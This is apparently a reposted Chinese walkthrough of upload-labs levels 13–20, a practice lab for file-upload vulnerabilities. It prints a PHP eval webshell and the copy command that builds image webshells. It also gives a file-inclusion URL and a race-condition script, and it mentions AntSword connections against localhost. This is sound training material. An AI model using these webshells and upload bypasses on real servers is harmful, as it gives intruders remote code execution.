我的编程空间,编程开发者的网络收藏夹
学习永远不晚

upload-labs第13关~20关详细解析

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

upload-labs第13关~20关详细解析

【第十三关】图片马

Ⅰ 源码分析

    $file = fopen($filename, "rb");    $bin = fread($file, 2); //只读2字节    fclose($file);    $strInfo = @unpack("C2chars", $bin);        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);        $fileType = '';        switch($typeCode){              case 255216:                        $fileType = 'jpg';            break;        case 13780:                        $fileType = 'png';            break;                case 7173:                        $fileType = 'gif';            break;        default:                        $fileType = 'unknown';        }            return $fileType;}

Ⅱ 绕过原理

利用装有一句话木马的jpg照片,绕过后台的文件验证
图片马原理
根据下图,图片马上传后需要一个解析图片的php程序,在这里我们用到include.php

header("Content-Type:text/html;charset=utf-8");$file = $_GET['file'];if(isset($file)){    include $file;}else{    show_source(__file__);}?>

image.png
在这里需要准备一些文件
一张jpg格式照片
php文件

 phpinfo(); @eval($_POST['a']);?>

生成图片马 ,win10环境

copy /b shell.jpg+one.php=1.png

一个自带的文件包含脚本php(upload靶场自带include.php)1

image.png

Ⅲ 绕过过程

上传文件后,查看图片地址是否可以浏览
image.png

利用include.php 解析下图片jpg,可以发现存在phpinfo
image.png

现在就是怎么用AntSword去连接图片马
构建下蚁剑playload

  http://127.0.0.1/upload-labs/include.php?file=upload/upload-20.jpg

image.png
便可以连接,查看数据
image.png

https://blog.csdn.net/qq_42311391/article/details/89477993

【第十四关】getimagesize()绕过

    $types = '.jpeg|.png|.gif';    if(file_exists($filename)){        $info = getimagesize($filename);        $ext = image_type_to_extension($info[2]);        if(stripos($types,$ext)>=0){            return $ext;        }else{            return false;        }    }else{        return false;    }}

与第十三关不同之处在哪里?
判断文件是否在白名单内的做法不同
getimagesize是获取图片的大小,如果头文件不是图片会报错
image_type_to_extension函数:取得图像类型的文件后缀

上传后的jpg会转成jpeg
image.png
连接成功
image.png

【第十五关】突破exif_imagetype()

未解决

function isImage($filename){    //需要开启php_exif模块    $image_type = exif_imagetype($filename);    switch ($image_type) {        case IMAGETYPE_GIF:            return "gif";            break;        case IMAGETYPE_JPEG:            return "jpg";            break;        case IMAGETYPE_PNG:            return "png";            break;            default:            return false;            break;    }}

为什么要开启php_exif模块?
exif_imagetype函数的作用是什么?
image.png
直接按照十四关的图片马上传,可以吗?
不行,直接被拦截了,这里会显示一片空白
image.png
开启
image.png

【第十六关】二次渲染(未成功)

 if(move_uploaded_file($tmpname,$target_path)){            //使用上传的图片生成新的图片            $im = imagecreatefromjpeg($target_path);            if($im == false){                $msg = "该文件不是jpg格式的图片!";                @unlink($target_path);            }else{                //给新图片指定文件名                srand(time());                $newfilename = strval(rand()).".jpg";                //显示二次渲染后的图片(使用用户上传图片生成的新图片)                $img_path = UPLOAD_PATH.'/'.$newfilename;                imagejpeg($im,$img_path);                @unlink($target_path);                $is_upload = true;            }        } else {            $msg = "上传出错!";        }
  • imagecreatefromjpeg: 由文件或 URL 创建一个新图象
  • @unlink:删除文件
  • imagejpeg:以jpeg格式将图像输出

源码上讲了哪些东西?

  • 我们上传一个含有一句话木马的jpg后,后台会根据这个jpg文件,重新一个jpeg
  • 并删除原本的文件
  • 最后移动生成的文件到对于目录里

这一关与前面几关不同在哪里?二次渲染具体表现在哪里?
二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
image.png
上传前的图片马
image.png
上传后的图片马,一句话木马被消除了
image.png
有一种办法,在图片马文件中间添加一句话木马,但又不破坏文件
随便位置加入一句话,不行
image.png
image.pngimage.png
试了好多次,都没成功
后面了解到了,直接将php代码段插入到一个图片里,对于jpg不太显示,jpg不稳定

【第十七关】条件竞争

Burp
AntSword

源码解析
image.png
原来上传的文件早在渲染前就上传成功了,只不过渲染成功or失败后,源文件会被删除掉。
渗透准备
四个文件:一句话木马php文件+一张jgp格式照片+包含一句话木马的jpg照片shell_jpg+.py文件
一句话木马php文件

 phpinfo(); @eval($_POST['a']);?>

包含一句话木马的jpg照片shell_jpg

copy shell.php /b+ shell.jpg = 1.jpg

image.png
jpg_payload .py文件

import requestsurl1 = "http://127.0.0.1/include.php?file=./upload/1.jpg"while True:  # 定义死循环      html = requests.get(url1)

开始渗透
开启jpg_payload .py脚本

python "jpg_payload .py"

上传文件,burp抓包
image.png
image.png
在Repeater上放包,并查看下后台文件
image.png

image.png
AntSword连接jpg文件,成效
image.png

后面,我尝试直接用图片马上传,发现没有二次渲染~~ ,直接用AntSword连接图片马,成功了

【第十八~二十关】

我发现用普通的图片马+自带的文件包含,就可以实现文件上传漏洞
参考下第十三关

参考链接:http://cn-sec.com/archives/1009470.html
https://blog.csdn.net/qwe304/article/details/125725280

来源地址:https://blog.csdn.net/weixin_47126666/article/details/129007457

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

upload-labs第13关~20关详细解析

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

详细sqli-labs(1-65)通关讲解

目录 mysql数据结构 1.sqli-labs第一关 1.1判断是否存在sql注入 2.2 联合注入 2.sqli-labs第二关 3.sqli-labs第三关 ?4.sqli-labs第四关 5.sqli-labs第五关 6.sqli-
2023-08-20

C++ Explicit关键字详细解析

以下是对C++中Explicit关键字的用法进行了详细的介绍,需要的朋友可以过来参考下,希望对大家有所帮助
2022-11-15

关于系统特征的详细解析

  下面就是我为大家准备的文章,是关于存储系统特点的解析,下面就开始阅读文章吧!存储系统是指计算机中由存放程序和数据的各种存储设备、控制部件及管理信息调度的设备(硬件)和算法(软件)所组成的系统。计算机的主存储器不能同时满足存取速度快、存储容量大和成本低的要求,在计算机中必须有速度由慢到快、容量由大到小的多级层次存储器
关于系统特征的详细解析
2024-04-17

关于JAVA中多线程编程方法的详细解析(附实例)

一、程序、进程、线程程序是一组指令的有序集合,也可以将其通俗地理解为若干行代码。它本身没有任何运行的含义,它只是一个静态的实体,它可能只是一个单纯的文本文件,也有可能是经过编译之后生成的可执行文件。  从狭义来说,进程是正在运行的程序的实例;从广义上来说,进程
关于JAVA中多线程编程方法的详细解析(附实例)
2019-09-06

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录